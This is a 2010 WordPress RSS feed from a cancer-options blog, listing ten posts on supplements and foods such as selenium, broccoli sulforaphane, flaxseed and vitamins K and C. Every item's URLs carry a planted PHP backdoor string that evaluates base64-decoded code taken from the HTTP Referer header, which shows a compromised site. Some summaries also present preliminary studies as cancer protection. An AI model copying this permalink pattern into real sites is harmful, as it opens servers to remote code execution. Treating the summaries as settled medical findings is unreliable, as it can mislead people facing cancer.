<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cancer Options &#187; Supplements</title>
	<atom:link href="http://www.canceroptions.net/category/supplements/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.canceroptions.net</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 02 Sep 2010 13:38:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Selenium shows protective effect for bladder cancer</title>
		<link>http://www.canceroptions.net/2010/09/01/selenium-shows-protective-effect-for-bladder-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/09/01/selenium-shows-protective-effect-for-bladder-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 20:17:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[bladder cancer]]></category>
		<category><![CDATA[minerals]]></category>
		<category><![CDATA[selenium]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=149</guid>
		<description><![CDATA[By Nathan Gray, 01-Sep-2010
High selenium intake could have a beneficial effect on bladder cancer risk, according new research.
A meta-analysis of seven previously published studies found that the minerals’s potential protective effect was seen mainly among women, which suggests gender-specific differences in selenium accumulation and excretion, according to findings published in Cancer Epidemiology, Biomarkers &#38; Prevention.
 [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/09/01/selenium-shows-protective-effect-for-bladder-cancer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eat Your Broccoli: Study Finds Strong Anti-Cancer Properties In Cruciferous Veggies</title>
		<link>http://www.canceroptions.net/2010/07/25/eat-your-broccoli-study-finds-strong-anti-cancer-properties-in-cruciferous-veggies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/07/25/eat-your-broccoli-study-finds-strong-anti-cancer-properties-in-cruciferous-veggies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 22:15:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[breast cancer]]></category>
		<category><![CDATA[brocolli]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[sulforaphane]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=143</guid>
		<description><![CDATA[It turns out Mom was right – you should eat your broccoli. But what Mom may not have known is why broccoli is so healthy, and how its lesser known, younger offshoot may be a powerful anti-cancer agent.
Researchers at the Linus Pauling Institute at Oregon State University have found that sulforaphane – a compound found [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/07/25/eat-your-broccoli-study-finds-strong-anti-cancer-properties-in-cruciferous-veggies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Broccoli Component Limits Breast Cancer Stem Cells, Study Finds</title>
		<link>http://www.canceroptions.net/2010/07/25/broccoli-component-limits-breast-cancer-stem-cells-study-finds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/07/25/broccoli-component-limits-breast-cancer-stem-cells-study-finds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 22:09:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[breast cancer]]></category>
		<category><![CDATA[brocolli]]></category>
		<category><![CDATA[sulforaphane]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=140</guid>
		<description><![CDATA[A chemical from brocolli sulforaphane could help prevent breast cancer by targeting cancer stem cells.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/07/25/broccoli-component-limits-breast-cancer-stem-cells-study-finds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti-Cancer Effects of Broccoli Ingredient Explained</title>
		<link>http://www.canceroptions.net/2010/07/25/anti-cancer-effects-of-broccoli-ingredient-explained/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/07/25/anti-cancer-effects-of-broccoli-ingredient-explained/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 22:00:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[brocolli]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[prostate cancer]]></category>
		<category><![CDATA[PTEN]]></category>
		<category><![CDATA[sulforaphane]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=137</guid>
		<description><![CDATA[A chemical found in Brocolli reduces the chances of prostate cancer developing.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/07/25/anti-cancer-effects-of-broccoli-ingredient-explained/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peaches, Plums Induce Deliciously Promising Death of Breast Cancer Cells</title>
		<link>http://www.canceroptions.net/2010/06/06/peaches-plums-induce-deliciously-promising-death-of-breast-cancer-cells/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/06/06/peaches-plums-induce-deliciously-promising-death-of-breast-cancer-cells/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 10:48:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[breast cancer]]></category>
		<category><![CDATA[cancer]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=134</guid>
		<description><![CDATA[Compounds in Plums and Peches prevent cancer from growing in animal studies.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/06/06/peaches-plums-induce-deliciously-promising-death-of-breast-cancer-cells/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review backs flaxseed lignans&#8217; cancer fighting potential</title>
		<link>http://www.canceroptions.net/2010/05/03/review-backs-flaxseed-lignans-cancer-fighting-potential/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/05/03/review-backs-flaxseed-lignans-cancer-fighting-potential/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 03 May 2010 19:02:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[breast cancer]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[colon cancer]]></category>
		<category><![CDATA[flaxseed]]></category>
		<category><![CDATA[skin cancer]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=122</guid>
		<description><![CDATA[Flaxseed lignans might offer protection against breast, prostate, colon, and skin cancers while the soluble fibre they contain could help maintain steady blood sugar levels, found a review of research into the seed. ]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/05/03/review-backs-flaxseed-lignans-cancer-fighting-potential/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vitamin and Calcium Supplements May Reduce Breast Cancer Risk</title>
		<link>http://www.canceroptions.net/2010/04/25/vitamin-and-calcium-supplements-may-reduce-breast-cancer-risk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/04/25/vitamin-and-calcium-supplements-may-reduce-breast-cancer-risk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 10:49:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[breast cancer]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=120</guid>
		<description><![CDATA[The use of vitamins and calcium appears to reduce the incidents of breast cancer.]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/04/25/vitamin-and-calcium-supplements-may-reduce-breast-cancer-risk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vitamin K May Protect Against Developing Non-Hodgkin&#8217;s Lymphoma, Say Mayo Clinic Researchers</title>
		<link>http://www.canceroptions.net/2010/04/25/vitamin-k-may-protect-against-developing-non-hodgkins-lymphoma-say-mayo-clinic-researchers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/04/25/vitamin-k-may-protect-against-developing-non-hodgkins-lymphoma-say-mayo-clinic-researchers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 10:45:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[Non-Hodgkin Lymphoma]]></category>
		<category><![CDATA[Vitamin K]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=117</guid>
		<description><![CDATA[Higher intake of Vitamin K in diet results in lower risk of developing non-Hodgkin lymphoma]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/04/25/vitamin-k-may-protect-against-developing-non-hodgkins-lymphoma-say-mayo-clinic-researchers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vitamin K in Relation to Incidence of Cancer and Mortality</title>
		<link>http://www.canceroptions.net/2010/04/23/vitamin-k-in-relation-to-incidence-of-cancer-and-mortality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/04/23/vitamin-k-in-relation-to-incidence-of-cancer-and-mortality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 17:52:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[Vitamin K]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=114</guid>
		<description><![CDATA[A study on Cancer and nutrition indicated that participants with the highest intake of Vitamin k2 had a 14% reduced risk of developing cancer>]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/04/23/vitamin-k-in-relation-to-incidence-of-cancer-and-mortality/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non-Toxic Vitamin C Inhibits Formation Of New Blood Vessel Growth To Tumors</title>
		<link>http://www.canceroptions.net/2010/03/01/non-toxic-vitamin-c-inhibits-formation-of-new-blood-vessel-growth-to-tumors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.canceroptions.net/2010/03/01/non-toxic-vitamin-c-inhibits-formation-of-new-blood-vessel-growth-to-tumors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 11:37:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Supplements]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[oncology]]></category>
		<category><![CDATA[vitamin C]]></category>

		<guid isPermaLink="false">http://www.canceroptions.net/?p=108</guid>
		<description><![CDATA[Bio-Communications Research Institute&#8217;s (BCRI&#8217;s) recent research study has found that high levels of vitamin C (ascorbate) inhibit the formation of new blood vessel growth to tumors.
To grow, tumors rely on a high level of nutrients to flow to the tumor site. This nutrient flow is critical to tumor growth and is facilitated in the host [...]]]></description>
		<wfw:commentRss>http://www.canceroptions.net/2010/03/01/non-toxic-vitamin-c-inhibits-formation-of-new-blood-vessel-growth-to-tumors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
